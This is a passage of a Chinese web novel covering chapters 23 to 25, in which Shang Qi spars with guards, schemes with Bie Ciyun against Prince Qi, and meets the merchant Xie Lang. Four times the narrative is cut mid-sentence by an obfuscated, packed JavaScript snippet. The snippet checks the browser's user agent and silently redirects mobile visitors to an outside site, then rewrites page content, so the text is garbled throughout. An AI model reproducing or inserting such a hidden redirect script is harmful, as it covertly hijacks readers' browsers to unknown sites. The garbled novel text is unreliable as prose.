“尚东家哪里的话,公子待尚东家一向真诚。” “最好如此。”尚柒也没有和别此云计较的意思,不然早在第一天他俩就得为了口舌之争打起来。 晚食算不上清淡,忙活一日,尚柒和尚乌桕都饿的厉害,正午只吃了一些带上山的饼子,没有油水光是主粮,没有一斤顶不了饿。 翌日。 难得一觉睡到卯时末,洗漱后尚柒在院子里活动了一下拳脚,等吃过朝食不久,书墨就领着三个人高马大的侍卫过来。 要说光看外表,就知道来人不好惹,再听脚步声,轻快富有节奏,定然是练家子,也不知是别此云的侍卫都这样,还是眼前几位出类拔萃。 “尚少爷。”为首的青年气质沉稳,绝非草莽,想来在侍卫里也是个头目,看人行礼的手上老茧,知这人必然是使剑的。 “当不得一句少爷。”尚柒摆手。 “尚老爷?”为首青年身后的汉子挠头,长安城里及冠的少爷都多的是,眼前这位瞧着也不到及冠,已经要叫老爷了? 尚柒沉默,当不得少爷还能当得老爷,别此云的侍卫文化程度也没比他手下那群莽汉好到哪儿去。 “我名尚柒,若不好直呼我名,可叫我尚东家就是。” “尚东家。”为首的青年从善如流的改口,“属下张全武,行三,尚东家若不嫌弃称呼我为张三即可。” “……”尚柒面色复杂的看向张全武,瞧着不像是法外狂徒,“你家公子也这么称呼你?” “不曾,公子一向直呼我名。”张三这种诨号,一般都是兄弟间称呼。 “如此我就厚颜也称呼你全武了,身后这两位又如何称呼。”别是李四王五,不然他要怀疑别此云是故意的了。 “属下王存孝。” “属下钱守光。” 大抵是见识尚柒没称呼他们老大张三,也没报家里行几,算默认尚柒称呼他们名字。 “看你们手中茧子,都善用剑?”尚柒自己会拳法,之后学了枪和陌刀的用法,剑倒也会使,但用的没那么好。 “尚东家眼利,我等都是练剑的。” “那就比比剑术,但我主要练枪和长刀,剑术怕不及诸位。” “尚东家也可用枪同我们比试。” 一寸长一寸强,尚柒本来是不打算占这个便宜,但听张全武这样说,又觉得他还是不要托大的好,世家养部曲快要近千年,手中一定有不少剑术传艺,万一一个回合都没走下来,岂非是丢人? “也好。” 知道尚柒要和侍卫比武,书墨早在院中准备好武器,因先前也不知道尚东家惯使什么武器,便都备了一份。 取过长枪,尚柒挽了个枪花,比他常用的枪轻许多,但也够用。 两人站定在院中空地,张全武先是抱拳:“尚东家,得罪了。” 语罢,就提剑而来,尚柒按兵不动的接了两个回合,大抵摸清楚了张全武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400992|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的气力,正值青年,无论是身形和力气都不是少年人能比的过。 尚柒的力气比一般少年要大一些,但还不足以和常年习武的青年分庭抗礼,但也不至于说一个回合都扛不住。 有了底,尚柒的枪便转守为攻,原本还要再攻的张全武只见眼中一点寒芒乍现,本能的一个翻滚躲开气势如龙的一枪。 之后就被尚柒抢占了先机,改攻为守,一时间只顾格挡没能寻到再出手的机会。 “三哥吃了托大的亏,瞧现在被压着打了。”王存孝在场外指指点点,其实也不怪他们三哥吃亏,就是他们上场也难免轻视尚柒。 毕竟书墨请他们过来的时候,说人是公子的朋友,那必然也是高门大户出身,就说现在长安城里的世家子弟有几个能打的,就是武将世家出身,也不见得比过他们哥几个。 再不提人年纪不到二十,少年对青年有天然劣势,哪想人家一杆长枪耍的虎虎生威,这在军营都是厉害的。 “瞧人路数,好像是军营那边的。”军营练枪,除非有家学渊源,不然都只练几个基础动作,毕竟上了战场也没功夫给你耍花枪,简单的刺、劈、崩、点、拦、拿等基础动作练熟了,上了战场活命的机会才大。 而尚柒的枪术没什么花架子,多是基础,顶多随着他们三哥进攻路数变化,不成招式,却也能压制他们三哥,说明基础功底极为扎实。 “确实,枪里杀气盎然,虽动作都简单,但招招都奔着弱点去的。”这位尚东家多半还留了点手。 “这么说尚东家要赢了?”书墨也在一旁,听王存孝和钱守光分析半天,大抵听明白尚柒似乎更厉害。 “说不好,先前三哥占了便宜是尚东家没用全力,而此刻尚东家占便宜,也是三哥没用全力,两人都有留手,别看三哥被压制,主要还是吃了刚才太轻敌的亏,一步输步步退,但也只是一时,等适应了谁胜谁负还真不好说。” 若是尚柒这会及冠,必然是尚柒赢,但奈何尚柒不过十六七的年纪,除非当真在武艺上天赋异禀,加之有家传绝学傍身,不然要切切实实赢过张全武很难。 “要分胜负了。”钱守光见剑刃迎上枪芒,判断这一招多半要定胜负了。 只听兵戈争鸣响起,剑与枪都被挑飞,留的场上的两人开始拳脚应对,而比起不成体系的枪术,尚柒的拳法必然是有家学的。 张全武硬挨了两拳后,抱手认输,实在不是他不能打,而是尚柒的拳比枪术还招招致命,就算留了手,挨一拳也受不住,继续打下去,必输无疑。 “尚东家,某认输了。”张全武努力克制不让自己因为抱拳扯到伤口龇牙咧嘴,也不知是哪家的拳法,这样霸道。 “承让了。”尚柒也抱拳回礼,然后从怀中掏出一瓶药扔过去,“回去涂在淤青处。” “多谢尚东家赠药。”张全武接过药,也没说用不用,反而问道,“尚东家的拳法是家传?” 尚柒点头,如果不是发现自己枪术打不过张全武,他也不想铤而走险挑飞人的剑改用拳法对敌,他的拳法杀伤力的确不小,一般出手非死即残,得亏他已经慢慢学会怎么收力,不然这会也不只是淤青这么简单。 23.第 23 章 “有这套拳法,近身对战,非是一等一的英雄人物,尚东家都是赢的。” “谬赞了。”如今能在马上打架谁跟你近身对战,拳法厉害也得对方讲武德不用兵戈,今日和世家部曲一战,也能看出他的大概水平。 “尚东家不必自谦,我算公子手中较为能打的,以尚东家如今的水平,就是去军营也能排上号。”不和民间高手比,单单是世家里头,尚东家的实力都是数一数二的。 尚柒没想到能得这么高的评价,这么看张全武的实力算上乘,如果能经常和这样的人物对练,也许枪术能进步的更快一些,毕竟他也请不到什么会枪法的好师傅,多还是和人对练摸索出的打发。 于是原本在场外看热闹的王存孝和钱守光也被拉了壮丁,同尚柒比试起来,与张全武比,王存孝和钱守光的本事略有不及,从几人初到的站位也能看出来,张全武是领头的那个,但只求对练,却也够用了。 原定下午回长安,因此一上午尚柒都没闲着,打的两个陪练都气喘吁吁,最后实在是日头太大,才被放过。 “要说十六七的小子就是体力再好,也该比不上咱们,但今个儿这位尚东家以一对二还没见疲惫,是不是咱们太菜了?”钱守光抹了一把额头的汗渍,他也不老啊,正是能打的时候。 “全程咱两都被压着打,当然比不过,也不知道是哪家出身,这样厉害,若是场上用了对付三哥的拳法,此刻咱两多半已经躺了。”王存孝也累得不轻。 要说公子手里比他两能打的,也没几个,果然能跟公子扯上关系的,本事都不小。 “唉,果然书墨哥儿给的活都不好做。”原本书墨哥儿请他们过来的时候还叮嘱他们要适当放水,哪想拼尽全力也无法战胜,亏得是三哥先顶上去了,不然他们俩一开始放水,指不定要被打的嗷嗷直叫。 这头两个部曲戚戚然,那头尚柒神清气爽的换了衣裳,等吃过正午这顿,就可以回程了。 “阿兄上午可是打赢了?”尚乌桕上午在处理昨日挖来的药材,没去看阿兄打架,也不是他不想去看,而是在礼县看的多了,阿兄常和请来的师傅对练,前几年岁数还小,能见着阿兄力有不逮被打败的场景,近些时候阿兄个子使劲往上窜,力气也大了不少,已经好久没见阿兄输过了。 “嗯,长安厉害的人物的确不少。”他的枪术已经许久没有精进了,今日打一场,隐隐有所突破。 “国都自然不一般,也不知道西南什么时候有长安的盛景。” 那怕是很难了,长安洛阳这样闻名天下的城池,都是靠举国之力供养的,西南穷乡僻壤,想要赶上如痴人说梦。 闲话到此为止,午食吃完,尚乌桕和尚柒收拾好行礼,就离开清闲观了。 殊不知此刻长安正有人等尚柒回来,有要事商议。 …… “齐王,倒也不出所料。”别此云收到手下传来的消息,知蔺家的事背后是齐王手笔,并未惊讶。 齐王在诸位皇子中排行第七,母家势大,也是大历顶级世家中的一位,若不是背靠萧氏,以齐王的年纪,都不一定能上桌。 “齐王殿下尚未及冠,胆子却比诸位王爷要大。”就连太子都还没说要对蔺家出手。 “他胆子若不大,当初也不会在宴上口出狂言。”要说别此云对诸位皇子谁最厌恶,齐王必是头一个。 别的不提,外人都清楚别家是太子嫡系,万不会和其他皇子扯上干系,若是太子再年轻十岁,说不定太子妃的位置都要叫别此云坐上去。 现今太子正室侧室都满员了,别此云必然不可能嫁进皇家,太子不允许不说,皇帝也不允许,到底别家是皇帝给太子绑上船的。 齐王却在宴上说要娶他做侧室,既打了太子的脸,也打了别家的脸,后来被皇帝训斥口无遮拦,也登门道过歉,但别此云没看出半分诚意。 “公子可要做些手脚,让蔺家知道此事。”事到如今,蔺家恐怕还不知道自己东窗事发,私下多半还做着春秋美梦。 “不急,蔺家勾结边军的事必然是要被捅到皇上面前,就算要让蔺家知情,也绝计不能是现在。”想要阻止皇帝发兵攻打突厥,蔺家是必然要被牺牲的,现在让蔺家知情,若是蔺家家主狠心断尾求生,岂非是功亏一篑。 “尚柒今日回程,到长安了吗?” “算时辰,还在路上,公子要寻尚东家,怕是得明日才行。” “明日。”别此云摇了摇手里的折扇,“我也好久未出府了,着人去金玉满堂走一天,明日我要宴客。” “是。” …… 近来天气越发炎热,金玉满堂的生意却半点不见少,楼上的包房饭点一惯是满客的。 尚柒到的时候一楼大堂也都坐满了,他也来过几次金玉满堂,一晃眼还能看见大堂几位熟客。 这次有人宴请,尚柒难得上楼看看风景,别此云定的包房在三楼,时下酒楼一般只有二楼,金玉满堂也不知哪里请来的能工巧匠,硬是盖出了三楼。 比起二楼的包房略小,三楼都是给身份贵重的客人留的,别家几位少爷有时宴客爷奶金玉满堂,在三楼有常用的包房,但别此云宴客一向不用别家的包房。 他与金玉满堂的东家有交情,且金玉满堂也有他参股,有一间独属于他的包房再正常不过。 尚柒被小二引至包房时,房内宴客的主人已经到了,屋内置了冰盆,一进门便隔绝屋外的热气。 “到的这样早?”尚柒在别此云对面落座。 “既是宴客,没得要客人等的道理。”别此云说着将放有菜名的签筒往尚柒方向推了推。 尚柒也不客气,只他和别此云两人,再能吃也不至于说点满一桌子,毕竟打小教育让他骨子里还刻着不浪费粮食的习惯。 “今日有什么要事突然要请客?”尚柒点完菜,方才问道。 “你让我查的事有消息了。”别此云说着,从袖间取出一沓信纸,都是昨日写好的消息,他也懒得费唇舌多解释。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403809|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待尚柒一目十行的看过,信纸自然是要处理了的。 “齐王。”尚柒撑着下颌,要说他对几位皇子都不怎么熟悉,道听途说的消息也并不准确,别此云给他的这沓信纸倒是原原本本把几位皇子的关系和性格都写了下来。 “齐王此人行事张扬,私下做事也狠辣不留情面,如此毫无顾忌的对蔺家出手,想来也是被五皇子外家勾结边军的消息气疯了。” 鹬蚌相争渔翁得利,齐王是夺冠的大热门,怎么可能容忍平日悄无声息的五皇子闷声干大事。 “看来蔺家的事,我的确插不上手,至于齐王。”尚柒又翻回信纸写齐王信息的一页,“若无外家萧氏,不成气候。” “萧氏历经几代朝廷不倒,不是轻易能搬倒的存在,若非是广运帝不喜世家,说不定现在的太子之位已经落到齐王手里。”皇权和世家,不是东风压倒西风,就是西风压倒东风,萧氏已经风光近千年,再出一位皇帝,这天下是谁的天下就不好说了。 “只要广运帝脑子没坏,皇位轮不上齐王。”就是五皇子庄王当皇帝的概率都比齐王高,偏偏齐王以为背靠萧氏,便自以为是。 “也说不好,广运帝若是突然暴毙,太子可应付不来他的几位兄弟。” “倒也是,五皇子事发,齐王必是当出头鸟的那个,其中大有文章可做,你想一石二鸟吗?”齐王也算是因为蔺家的事得罪了尚柒,要说为此事和齐王对上未免大动干戈,但要什么都不做,心底难免不好受。 “齐王没那么容易搬倒,除非萧氏倒台,但我很赞同你给齐王一个教训。”别此云不曾因为齐王大放厥词对上齐王,主要是因为他在长安行事必须谨慎,在世家间周旋已经费心费力,再得罪一位皇子,难免被顺藤摸瓜查出些东西。 “看来齐王也得罪过你。”尚柒想了想,齐王和别此云之间能有的恩怨,大抵只有一个,“他想娶你?” “曾在宴会喝醉了,说要娶我做侧室。” “这话既羞辱了你,也羞辱了别家,太子没帮你出这口恶气?”到底别家也是太子党。 “不过言辞戏弄,加上喝了酒,最后送点东西赔礼道歉,你当还能如何一位王爷。” “齐王看来也不傻,若是他羞辱的是你父亲兄长,此事或许没那么简单了结,偏拿你做文章。”无论怎样,此事有损的都是别此云的名声,若是别此云当真是个寻常哥儿,怕是再也没有脸面出席宴会。 “怎么说也是皇室,哪里是底线碰不得肯定清楚。”也是因为这件事,让别此云心生反意。 “你知齐王私下有什么把柄吗?”做到王爷这个份上,手里或多或少都有不干净的事,毕竟要发展自己的势力,收受贿赂必不可少,甚至犯皇帝忌讳的事也有干。 “我听到过一些风声,但齐王做的事都有萧氏帮他扫尾,我手里没有证据。”若是有证据,他早就想法子对付齐王了,不说扳倒齐王,单是不让他日子过得如意也够出气的。 “什么风声?且说来听听。” 24.第 24 章 齐王因为母族关系,在皇帝跟前并不算讨喜,又碍于年龄的缘故,朝中齐王一党的官员也不多,大部分重要职位上的人都已经有投靠的对象。 还有些没主的,都是坚定的皇党,轻易撬不动。 于众兄弟间,唯一的优势就是有个强大的母族,随着齐王年岁越长,萧氏自然也会为齐王筹谋。 要当皇帝,钱兵粮哪个都不能少,钱和粮萧氏出的起,唯一这兵没着落。 大历除去长安和几个边关镇守的军队,其余都是府兵,一府顶多千人,过于零散,靠不住。 如此,要么从已有的军队想法子撬人手,要么就在自己的封地养私兵。 “齐王的封地在江南,那地方不太好养私兵。”江南富庶,想要招募私兵人手不太容易。 “封地不行,还有他母家萧氏祖地,比起皇子,世家养部曲古来有之,也是前朝开国后禁了。” 但世家出身的人真的会听话就有鬼了,但凡祖上富过的都知道手里有兵的重要性,朝廷明面上不许世家养兵,私底下世家自己的庄园里收留流民,看似是佃户,其实是部曲的也不少。 大历已经比前朝好一些,不少隐户都愿意重新入籍,但世家庄园里世世代代当隐户的人依旧数不胜数。 “才掀了一个五皇子的底,再揭齐王的短,只怕广运帝会做一些疯狂的举动。”能挣皇位的就那么几个儿子,真要是一口气全给废了,留太子一家独大,广运帝能安心才怪。 “齐王有犯罪不至死的事吗?”谋逆是大罪,哪怕齐王是他最心爱的儿子都没用,更不提齐王在广运帝心里都排不上好。 “自然是有,劫持秋税、贩卖私盐、欺善霸恶,你要哪一种?” “欺善霸恶说说。”前两样尚柒肯定齐王不是在长安做的,多半还是在封地和萧氏祖地做的,别此云明说手里没抓到证据,也不必费什么功夫。 “齐王好美人,后宅除去皇上赏的和下面孝敬的,有不少是齐王当街看上虏回去的。”当街强抢美人在长安不是稀罕事,更何况齐王做事滴水不漏,大部分苦主都不知道自家姑娘哥儿只出趟街怎么就不见了。 去官府报案,最后也都不了了之。 “此事可大可小,想来齐王的院子装不下那么多美人。”更不说其中若有性情刚烈者,血溅五步都是常事。 “你想从尸骸入手寻证据。” “不错,想来近几年死在齐王手里的人命也不少,以齐王的性子多半不会让尸体留在齐王府。” “这点我也想过,可长安之外亦有乱葬岗,若是齐王派遣人将尸体往乱葬岗一扔,只怕不好找。” “我先遣人盯着齐王府,若撞见有人抛尸,先跟去瞧瞧,实在不成,打听打听齐王抢了哪些姑娘哥儿,伪造尸体就是。”想凭这事教训齐王,只有闹大一个法子,解决多半皇帝出面斥责一顿,再禁足罚俸,更严重的惩罚是没有的。 广运帝对他的儿子们好也不好,总归只要不是这些皇子寻死,广运帝还是很大度。 不过这也够了,他本意也只是教训教训齐王,真要想叫齐王倒台,还得看夺嫡形式。 “这事真要是寻到证据,万年县肯定是办不下来的,京兆府里若没胆子的也不敢接。”得罪齐王也就罢了,可得罪齐王会把齐王身后的萧氏一块得罪,除开本就不怕萧氏的几个世家子弟外,多半没人愿意掺和。 “御史台的御史们也不是吃素的,只要这件事闹的足够大,京兆府不怕御史台的参本,只管装聋作哑。”再说出了命案,又涉及一位王爷,大理寺和刑部总不能也跟着隐身。 别此云低头思索,这法子成是能成,但也太容易暴露,若被萧氏和齐王事后找上门,风险太大。 他的人不能出面,尚柒的人在长安也没有根基,很容易被人抓到把柄,如此要掀起舆论,还需要一人私下帮衬。 这人既要不怕齐王和萧氏,又得信得过,还要愿意出手相帮。 “别公子是想到人选了?” “的确有一个。”别此云在长安交好的人不多,大部分相干的世家都恨不能查清他的身份弄死他,但有句话说朋友在精不在多。 “是哪家的公子?”能够让别此云信任的人,多半是从后宅结识,只是他想不到,连别此云都轻易不敢掺和前朝的事,这位同别此云交好的公子又是怎么办到的。 “如何就是公子了?”别此云轻笑一声,又道,“此人远在天边近在眼前。” 这话有意思了,不是公子,别此云竟然交好的是一位世家子弟,至于远在天边近在眼前这句,尚柒略略一想,也明白了。 此人他可是想见许久了:“金玉满堂的东家。” “不错,只是你常来往他产业的地方只金玉满堂一处,整个长安还有许多产业也在他名下。”在长安做生意有资本的没谁只做一家生意,就说金玉满堂因为厨子手艺好,世家贵族常年来往,若背后的靠山不够硬,怕被拆不知多少次了。 “说来,此云在金玉满堂有参股,定然能请的动金玉满堂的东家现身。”尚柒还没放弃在金玉满堂吃霸王餐的念头。 “我与他是神交已久,面倒是见过,但我知他身份他不知我身份,想要求他帮忙,得看尚东家的本事了。” 别此云话里带坑,谁让尚柒先头一口一个别公子,这会为了见金玉满堂背后的东家,改口倒快。 “他家也有病人?” “……”也不知是尚柒故意没听出来他话里有话,还是真没听出来,“高门大户,轻易不会请外来大夫看诊。” 先不说尚柒还没在长安打出名头,就是真名满长安,大户人家里除了太医都寻不到办法的病症可能抱着死马当活马医的态度请尚柒,其余人都还是更信得过太医或是自家养的府医。 “那他可有什么兴趣爱好。”既要求人,投其所好总不会错。 “赚钱。” “这倒是个别致的爱好。”不说大部分人更喜欢花钱,就说赚钱,以别此云的形容,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408549|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位金玉满堂的东家根本不是缺钱的主,大部分有钱有权的人,都喜欢精神追求,和寄情山水实现抱负比起来,赚钱只能说一句朴实无华。 “不然我和他也认识不到一块。”别此云自然也是喜欢赚钱的,不过他有定数,因为天下生意场太多,他一个人不可能哪哪都插一脚。 “正好,我不是有一个赚钱的门路,若是他肯帮忙,分他一股也不是不成。” 别此云闻言挑眉,尚柒这哪是求人办事给甜头,分明就是想在长安再寻一个靠山。 “你既然有此打算,择日不如撞日,等会我就让书墨去通知金玉满堂的掌柜请人过来。” “也好,今日若事成,后续几日我也可以在家多歇歇。” 一拍即合,别此云让书墨去寻金玉满堂的掌柜,而桌子上的菜已经上好,说了半晌话,两人也的确饿了。 想着之后还有事,便也吃的快了些,不到两刻钟,满桌只剩残羹冷炙。 “这些会被酒楼当做折箩低价卖出去吗?”他们所剩其实不太多,但对于没得饭吃的人来说,一口粮食也是珍惜的。 “金玉满堂不卖折箩,客人剩下的饭菜一般都给附近的乞丐。”长安城里的乞丐不少,只是大部分不会出现在朱雀大街,多混在平民居多的坊市。 “残羹冷炙富贵人家看不上,但若有心人冒充乞丐领回去再贩卖又当如何?”金玉满堂的剩菜剩饭再次也都是荤腥,滋味还好,一般百姓说不得都愿意过来尝尝,免费送给乞丐,难免出现倒卖现象。 “于酒楼而言,折箩只要能够处理掉就好,是否真分到乞丐手中于他们无关。” “是我想差了。”开酒楼的可是大历土生土长的世家子弟,哪怕再特立独行也绝计不会和他跟别此云想法一样。 知道尚柒的想法,别此云也只能跟着叹气,他在长安,无时无刻遇见这样的事,即便有心相救,却也是救不过来。 今日他若将折箩全全落入乞丐手里,明日这些乞丐或许就要遭人妒忌,恐有杀身之祸。 可要说他将这些乞丐全都安顿了,不用多少时候,长安城内其他地方的乞丐又会过来,除非天底下再无行乞之人,不然光靠善心,是救不完的。 “听书墨说,你赢了我的几位部下?” 别此云转移话题的本事并不高明,但好意尚柒不可不领,本也是他挑的话头,不该叫别此云跟着他一块低沉。 “用兵器,还比不上全武,只论拳脚倒是能斗上一斗。” “是上辈子学的,还这辈子学的?”谁还没有个武侠梦,可惜别此云出生时就体弱,不适合练武,到如今身体养好了不少,却也错过了习武的最佳时机。 “拳是家传,枪法是后来学的。”学医的没几手武艺傍身是不行的。 “看来我不光遇上了一位医术高明的大夫,还遇上了一位武林高手。”别此云想,光凭尚柒这些本事,无论到了哪里都能做出一番成就,大抵是金子总会发光就是形容尚柒这类人。 25.第 25 章 永兴坊谢家。 谢十三正在院子听琵琶,正听得尽兴门外就响起了扫兴的脚步声,不待人走进屋,谢十三就扬了扬手,弹琵琶的乐姬便识趣的退下。 “又出了什么要紧的事?哪家不长眼的又在金玉满堂打起来了?”谢十三尚未入仕,平日里除去打理自己在长安的产业,也不怎么跟长安城里的纨绔子弟混。 别说他谢十三不合群,单是谢家的名头,只有外人巴结他的份,哪怕他不给王爷脸面,也多是被斥责一句年少心高气傲,真要小心眼寻谢十三麻烦,护犊子的谢家老头可不是好惹的。 “爷,今儿酒楼没人不长眼,是那位财神爷寻你。”今儿个酒楼当值的掌柜早知道财神爷要来,原该通传给自家少爷的,奈何细打听,财神爷是过来宴客的。 如此他家少爷过来,怕是要添乱,干脆没通知人,谁想守在门口的书墨哥儿突然过来,说财神爷要见少爷,当值的掌柜可不忙派人到谢府请人。 “都是我上赶着找他,今儿太阳打西边出来了?”谢十三嘴上困惑,但动作半点不慢,已经准备出门了。 “听闻财神爷今儿在酒楼宴客,说不得又是谈好了什么生意准备邀少爷你入伙。”谢十三跟前的人,都是谢十三千挑万选出来的心腹,于赚钱一道上,没什么能瞒得过他们。 “那感情好,近来我到各铺子查账,净赚倒是不曾少,却也没有再往上走的意思。”显然银子没有自主繁殖就让谢十三不快了,“知道有钱公子邀请的客人是谁吗?” “下面的人说面熟,该是来过几次,但没细打听过。”要说长安城里的贵人,那金玉满堂的小二个个如数家珍,甚至常年到酒楼吃饭的商户,也都知道一二,偏这回财神爷请客的人只一两个小二有点印象,却也说不上人到底打哪儿来的,多半是外地人。 “成,我就亲自去看看这财神爷又搞什么名堂。”谢十三从后院跨步上马车,心底的算盘已经打的啪啪直响。 …… “谢琅,谢家人,于这一代排十三,是嫡系子弟,年前刚及冠,尚未成亲,不过已经定亲。”别此云简略的说了说谢十三的信息。 “谢家?淮阳谢家?” “正是与东海萧氏齐名的淮阳谢氏。”大历有名有姓的世家很多,真顶了天的也就五六家,萧谢占其中两位,这等排名,仅两百余年的别家是掺和不进去的。 “以谢家的本事,你和他合作不可能查不出你的身份。” “自然,只是谢琅此人非是刨根问底的性子,我不愿意泄露身份,他也没兴趣追查。”若非是事前调查清楚谢琅的行事风格,别此云未必愿意在谢琅跟前现身。 “看来谢琅的确喜欢钱财。”别此云为谢琅带来了不少日进斗金的门路,谢琅投桃报李,想必也为别公子解决过不少麻烦,“你与他合作,谢氏没说什么?” “谢家家大业大,谢琅的产业或许单拎出来能叫谢家人高看一眼,但和谢家产业比起来,也不过九牛一毛。 谢琅又无心做官,谢家人不过是让谢琅拿着这些产业打发时间罢了。” 既然只当是玩意,又怎么会花功夫细查谢琅私下同什么人做交易,毕竟谢琅是谢家养大的,轻易不会被骗了去,当然天底下也没哪个胆子这样大,敢愚弄谢家嫡系。 尚柒不语,只想萧谢这等世家底蕴全掏出来,不知能让全天下人吃多少年饱饭,上千年的积累不是说说而已。 “今日你打算露面吗?”别此云常年不在长安,见过他的人除去内宅,只怕少之又少,真要见面,谢琅不一定认得出,可一旦露了面,谢琅要知道别此云的身份不过早晚的事。 “看情况。”对付齐王不是小事,谢家虽然也有人在宫中,却没有养育子嗣,这场夺嫡的戏码谢家是掺和不上。 当然,有人愿意邀谢家入局,谢家大概率也不会拒绝,只是眼瞧着广运帝的儿子没一个成器,谢家就轻易不肯下注。 齐王自然也想要谢家支持,但他背后靠着一个萧家,皇帝是不会允许齐王再和谢家扯上关系,在谢家这里,齐王也只有私下卖好。 凭借谢家和齐王不咸不淡的关系,谢琅出手的概率在一半一半,不过有个好处就是,这生意是强买强卖,谢琅不答应,自有尚柒出手。 闲谈间,包房外的门敲响了,别此云不紧不慢的放下帷帽,就听见门被推开的声音。 谢琅一身随意的打扮,想必此前该是在家偷闲,得了消息也没时间换衣服就过来了,看来没有新生意给谢琅玩钱生钱,此人也无聊的很。 “有钱公子今日难得请我这个闲人过来,可是又有什么好生意叫我占占便宜?”谢琅开口谈钱的模样,叫屋内的另外两人都不动声色的顿了顿。 “谢少爷客气,今日的确是邀你谈生意的。”别此云先开口,请了谢琅坐下。 “生意自然是要紧事,但屋里可还有个生人,想来也是这次生意的合伙人,有钱公子介绍介绍?”谢琅目光落在尚柒身上,对了对脑子里的人物,发现对不上,不是认识的熟人,要么此人名声不显,要么就是地方出身。 这样的人能够攀上有钱,还能叫有钱以合伙人的方式对待,想来手段不差。 “他姓尚。”别此云只略略提了提。 “卖西瓜霜的尚东家?” 果不其然,对长安城时时关注的谢琅怎么可能错过风靡一时的西瓜霜,说不定自己还悄悄派人买了不少。 “不想谢少爷竟然也知道。”尚柒在长安的所作所为只是为了让西瓜霜扬名,好守株待兔别此云,他自己却不见多少人知道,没成想谢琅竟然只凭一个姓氏就脱口而出他的身份。 “尚东家哪里的话,西瓜霜可是味好药,我和几个朋友用了效果极好,只是当初西瓜霜抢手的很,便是我着人去散卖来,也没多少,不知尚东家手里可还有存货。” “若谢少爷急用,我手里是没有了,不过——”尚柒看向别此云,接下来的话他需要忍住不笑出声,“有钱公子手里说不定还有。” 怎么取了这样一个名,尚柒都不知道自己怎么能面不改色的说出口的。 “果然,天底下没有有钱你看不到的商机,想来我寻人买的西瓜霜也是打你手里流出来的。”谢琅叹气,论奸商他还是比不过有钱,也不知道在西瓜霜上头,有钱赚了他多少。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415651|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “说不一定。”别此云收购尚柒手里最后一批西瓜霜,虽然本钱高了两成,但因为前面不少人买了西瓜霜后觉得药效极好,想要再买。 只是大部分人手里已经没货了,别此云最后出手,自然也卖了不错的价钱。 “好吧好吧,真想和你们会做生意的人拼了。”谢琅揭过此事,目光又在有钱和尚东家两人身上转了转,“咱们也不打太极了,说吧,又什么好生意等着我,我又要付什么代价?” 谢琅脑子不笨,甚至可以称得上聪明,在谢家诸子中,也是拔尖的。 有钱除开最初的合作外,一向都是他求着人开拓新生意,哪怕有钱有事要他办,也不会在亲自过来,两人合作几年,他和有钱见面的次数一只手都能数的过来。 今儿有钱不光请他到金玉满堂谈事,还邀了一个生人,明摆着鸿门宴,不对,桌上连宴都没有,只剩鸿门了。 “生意是个大生意,代价么……”别此云故意停在这里,大家伙都是聪明人,不必说透,懂的都懂。 “看来要多谢我谢家的出身,不然这次生意只怕没有我的份。”谢琅能拿得出手东西很多,但最拿的出手的还是谢家子的身份,有钱的身份他没查过,但能在长安干这么多事,背后没点背景是不可能的。 能叫有钱求他办事,多半需要谢家的身份顶锅。 “那谢少爷是想先听听什么生意,还是想先听听要付出什么代价?”别此云说着和尚柒对视一眼,谢琅明知道大麻烦没有转身就走,事情成了一半。 “自然是生意。”天底下还有谢氏感到为难的事吗?哪怕谢氏有人谋反,广运帝都不一定能明面上对谢氏怎么样,真要闹个鱼死网破,广运帝的皇位一定坐不下去。 自然了,谢氏如果不想落下把柄,被其他世家群起而攻之,谋反还是能不做就不做,做了也要把尾巴藏干净。 而谈到生意,别此云便把话头转到尚柒面前,羊毛生意是尚家负责,他只是个顶包拿钱的人。 尚柒略略轻嗓,道:“不知谢少爷有听过以羊毛制衣吗?” —————————— “二娘子,这衣裳瞧着可还成?”乌娘子满心得意的举起这几日打好的羊毛衣,是用的她钻研出的新针法。 “样式新颖,可做样衣,德顺哥,给乌娘子记上奖励。”尚南枝到跟前验收过衣裳,也很满意。 